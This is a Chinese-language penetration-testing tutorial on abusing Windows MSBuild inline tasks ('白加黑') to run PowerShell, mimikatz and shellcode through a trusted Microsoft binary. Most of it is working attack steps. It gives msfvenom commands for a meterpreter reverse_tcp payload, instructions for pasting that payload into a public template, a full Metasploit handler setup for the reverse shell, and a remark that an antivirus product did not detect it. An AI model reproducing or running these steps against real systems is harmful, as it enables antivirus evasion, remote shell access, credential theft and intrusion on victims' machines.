Windows白加黑

Windows白加黑

攻击机:Kali Linux :172.16.1.130
受害机:Win 7_64位:172.16.1.135

MSBuild

简介

MSBuild是Microsoft Build Engine的缩写,代表Microsoft和Visual Studio的新的生成平台
MSBuild可在未安装Visual Studio的环境中编译.net的工程文件
MSBuild可编译特定格式的xml文件
更多基本知识可参照以下链接:
https://msdn.microsoft.com/en-us/library/dd393574.aspx

扩展用法

在.NET Framework 4.0中支持了一项新功能”Inline Tasks”,被包含在元素UsingTask中,可用来在xml文件中执行c#代码
详细介绍可参考如下链接:
https://msdn.microsoft.com/en-us/library/dd722601.aspx?f=255&MSPPError=-2147217396

HelloWorld示例

以下代码保存为helloworld:

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="Hello">
   <HelloWorld />
  </Target>
  <UsingTask
    TaskName="HelloWorld"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
    <ParameterGroup/>
    <Task>
      <Using Namespace="System" />  
      <Code Type="Fragment" Language="cs">
        <![CDATA[
                Console.WriteLine("Hello World");        
        ]]>
      </Code>
    </Task>
    </UsingTask>
</Project>

注:保存的文件名可以任意
cmd下执行:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe helloworld

cmd输出helloworld,如图:

执行powershell命令

可参照三好师傅分享的POC,地址如下:
https://github.com/3gstudent/msbuild-inline-task/blob/master/executes%20PowerShellCommands.xml
该POC已将c#代码转换成xml文件的格式,编写需要注意的部分如下:
如图:

标记1TaskName可修改,但两个位置的名称需要对应
标记2为固定格式:TaskFactory="CodeTaskFactory"
标记3的路径在不同系统可能会有区别,准确的为:

$(MSBuildToolsPath)\Microsoft.Build.Tasks.v4.0.dll

系统默认安装路径为:

C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll

标记4为一个简单的输出helloworld实例
如图:

标记5为固定格式,定义为

public class ClassExample : Task, ITask

下载executes%20PowerShellCommands.xml重命名为:c

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe c

实际测试POC如图,成功执行powershell命令

执行PE文件

下载
https://github.com/3gstudent/msbuild-inline-task/blob/master/executes%20mimikatz.xml
重命名为:aa,本环境只能用64位的.net Framework加载

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe aa

执行shellcode

下载32位shellcode,需要使用32位.net Framework:
https://github.com/3gstudent/msbuild-inline-task/blob/master/executes%20shellcode.xml
重命名为dd

C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe dd

下载64位shellcode,需要使用64位.net Framework:
https://github.com/3gstudent/msbuild-inline-task/blob/master/executes%20x64%20shellcode.xml
重命名为ee

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe ee

64位的能执行shellcode,但是会报错。

我们这里用64位的shellcode和64位的win7来操作。

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.118.134 lport=4444 -f csharp

生成shellcode之后我们需要用到一个三好学生师傅的
https://github.com/3gstudent/msbuild-inline-task/blob/master/executes%20x64%20shellcode.xml
的模板,把里面45行之后的改为自己的shellcode
然后msf监听

msfconsole
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.118.134
set LPORT 4444
set ExitOnSession false
set autorunscript migrate -n explorer.exe
exploit -j

Meterprefer 使用

1. background 挂入后台session
2. sessions 查看现有的后台  session
3. sessions -i 1 查看后台session id为1

成功反弹msf,可以执行命令

某管家没有报毒

遇到的沙雕问题

复制shellcode报错:

生成失败。

“C:\test\ee_1”(默认目标) (1) ->
(Hello 目标) ->
  C:\test\ee_1(8,5): error : 此编译的源文件可以在以下位置找到:“C:\Users\test\AppData\Local\Temp\a10919e0-6aea-4146-85f5-4f5959c7a4b8.txt”
C:\test\ee_1(8,5): error MSB3758: 编译时出错。c:\Users\test\AppData\Local\Temp\a41qxcmi.0.cs(65,57) : error CS0103: 当前上下文中不存在名称“shellcode”C:\test\ee_1(8,5): error MSB3758: 编译时出错。c:\Users\test\AppData\Local\Temp\a41qxcmi.0.cs(67,28) : error CS0103: 当前上下文中不存在名称“shellcode”
C:\test\ee_1(8,5): error MSB3758: 编译时出错。c:\Users\test\AppData\Local\Temp\a41qxcmi.0.cs(67,62) : error CS0103: 当前上下文中不存在名称“shellcode”
 C:\test\ee_1(8,5): error MSB4036: 未找到“ClassExample”任务。请检查下列各项:1.) 项目文件中的任务名称与任务类的名称相同。2.) 任务类为“public”且实现 Microsoft.Build.Framework.ITask接口。3.) 在项目文件中或位于“C:\Windows\Microsoft.NET\Framework64\v4.0.30319目录的 *.tasks 文件中使用 <UsingTask> 正确声明了该任务。
    0 个警告
    5 个错误

已用时间 00:00:00.31

我直接复制的shellcode,是byte[] buf = new byte[510] {开头,
模板中是byte[] shellcode = new byte[276] {,太不仔细了。严格只覆盖等号后面的内容。

参考

https://3gstudent.github.io/3gstudent.github.io/Use-MSBuild-To-Do-More/
https://y4er.com/post/reverse-shell-bypass/#windows%E7%99%BD%E5%8A%A0%E9%BB%91